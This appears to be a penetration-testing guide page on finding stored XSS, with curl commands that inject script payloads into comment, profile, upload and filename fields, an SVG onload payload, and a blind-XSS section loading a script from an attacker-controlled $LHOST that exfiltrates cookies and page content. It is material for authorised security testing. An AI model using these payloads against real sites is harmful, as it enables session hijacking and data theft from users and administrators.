# Stored XSS Checks

> Identifies stored XSS vulnerabilities in HTTP/HTTPS services by testing persistent script injection points across forms, APIs, and user-controlled data storage fields.

- **URL:** https://hackindex.io/services/web/vulnerability-discovery/stored-xss-checks
- **Path:** HTTP/HTTPS > Vulnerability Discovery
- **Up:** [Vulnerability Discovery](https://hackindex.io/services/web/vulnerability-discovery.md)
- **Published:** 2026-03-28
- **Updated:** 2026-09-17

Stored XSS embeds a malicious script in the application's data store and executes it in the browser of every user who views the affected page. Unlike reflected XSS, it does not require a victim to click a crafted link: it fires automatically. Testing follows the same reflection-first approach as reflected XSS, but storage and retrieval must both be confirmed. Confirmed stored XSS moves to [stored XSS exploitation](https://hackindex.io/services/web/exploitation/stored-xss-exploitation).

## Identify Storage Points

Any input that is saved and later displayed to other users is a stored XSS candidate. Common surfaces:

- Comment and forum fields
- Profile fields: name, bio, location, website
- Support ticket and message systems
- File upload names and metadata
- Admin-visible fields in registration forms

## Inject a Unique Marker

Use a unique string first to confirm the value is stored and later retrieved, before testing for HTML execution:

```bash
curl -sk -X POST http://$TARGET_IP:$PORT/comments -H 'Cookie: session=YOUR_SESSION' -d 'comment=STORED_XSS_MARKER_12345&post_id=1'
```

```bash
curl -sk http://$TARGET_IP:$PORT/posts/1 | grep 'STORED_XSS_MARKER_12345'
# <p>STORED_XSS_MARKER_12345</p>
```

The marker appearing in the retrieved page confirms persistence. Now check the surrounding HTML context to determine the correct payload format.

## Test HTML Injection and Script Execution

Replace the marker with an HTML payload and verify it survives encoding:

```bash
curl -sk -X POST http://$TARGET_IP:$PORT/comments -H 'Cookie: session=YOUR_SESSION' -d 'comment=<script>alert(document.domain)</script>&post_id=1'
```

```bash
curl -sk http://$TARGET_IP:$PORT/posts/1 | grep -i 'script'
# <p><script>alert(document.domain)</script></p>
```

The unencoded script tag in the retrieved response confirms stored XSS. Open the page in a browser to verify execution before escalating. If the response shows the encoded form `&lt;script&gt;` instead of the raw tag, the application is encoding output at render time.

### Input Sanitization vs Output Encoding

These are two different defenses. Input sanitization strips or modifies dangerous content before storing it. Output encoding converts characters like `<` to `&lt;` at render time. Applications that sanitize input but skip output encoding can still be vulnerable if the sanitization is incomplete or context-dependent. Try alternative tags like `<img src=x onerror=alert(1)>` or `<svg/onload=alert(1)>` to test whether a tag-based filter is comprehensive. An application that encodes output correctly is generally protected regardless of what it stores.

## Profile Field Testing

Profile fields rendered for other users (name, website, bio) are often stored XSS vectors that affect admins viewing user lists:

```bash
curl -sk -X PUT http://$TARGET_IP:$PORT/api/v1/profile -H 'Content-Type: application/json' -H 'Cookie: session=YOUR_SESSION' -d '{"name":"<img src=x onerror=alert(document.domain)>","bio":"test"}'
```

```bash
curl -sk http://$TARGET_IP:$PORT/api/v1/profile -H 'Cookie: session=YOUR_SESSION' | grep -i 'img\|onerror'
```

## File Upload as XSS Vector

File uploads introduce stored XSS vectors beyond text fields. If the application serves uploaded files from the same origin, a malicious file executes in the application's context.

### SVG with Embedded JavaScript

SVG files support inline JavaScript via the `onload` event. Upload an SVG and navigate to the served file URL:

```xml
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)">
  <rect width="100" height="100"/>
</svg>
```

Save this as `payload.svg` and upload it through the application's file upload. If the server returns it with `Content-Type: image/svg+xml`, the script executes when the SVG is loaded directly in the browser.

```bash
curl -sk -X POST http://$TARGET_IP:$PORT/upload -H 'Cookie: session=YOUR_SESSION' -F 'file=@payload.svg'
```

### HTML File Upload

If the application allows HTML file uploads and serves them from the same origin, the file runs as a full page in the application's context. Upload a minimal HTML page with a script tag and visit the served URL.

### Filename-Based XSS

Some admin panels or file managers display uploaded filenames without encoding. Set the filename to a payload:

```bash
curl -sk -X POST http://$TARGET_IP:$PORT/upload -H 'Cookie: session=YOUR_SESSION' -F 'file=@test.txt;filename="<img src=x onerror=alert(document.domain)>.txt"'
```

Check the admin file listing or any page that displays the filename to see if the payload renders unencoded.

## Blind XSS

Some stored XSS payloads fire in contexts you cannot observe directly: admin panels, moderation queues, support ticket dashboards, log viewers, or internal tools. You never see the page where execution happens, so you cannot confirm it by loading the URL yourself.

Use an out-of-band callback to detect execution. The payload calls home to your server when it fires, proving execution and leaking the page context:

```
<script src="http://$LHOST:$LPORT/blind.js"></script>
```

Host a callback script on your server that exfiltrates the document URL, cookies, and DOM content when loaded. Services like XSS Hunter automate this with hosted payloads and a dashboard for reviewing callbacks. For manual testing, a Python HTTP server works:

```bash
python3 -m http.server $LPORT
```

Inject the callback payload into every input field you can reach: registration forms, support tickets, feedback forms, profile fields. Any field that might be viewed by internal staff is a candidate. A callback hit days later is still a valid finding.

## Automated Scanning with dalfox

dalfox can scan stored XSS points when you point it at the input endpoint and provide the retrieval URL for verification. The `--blind` flag sets up an out-of-band callback for blind XSS detection:

```bash
dalfox url "http://$TARGET_IP:$PORT/posts/1" --cookie "session=YOUR_SESSION" --blind http://$LHOST:$LPORT/
```

## References

- [PortSwigger: Stored XSS](https://portswigger.net/web-security/cross-site-scripting/stored) - Stored XSS detection methodology and context analysis
- [dalfox](https://github.com/hahwul/dalfox) - XSS scanning tool with blind XSS callback support
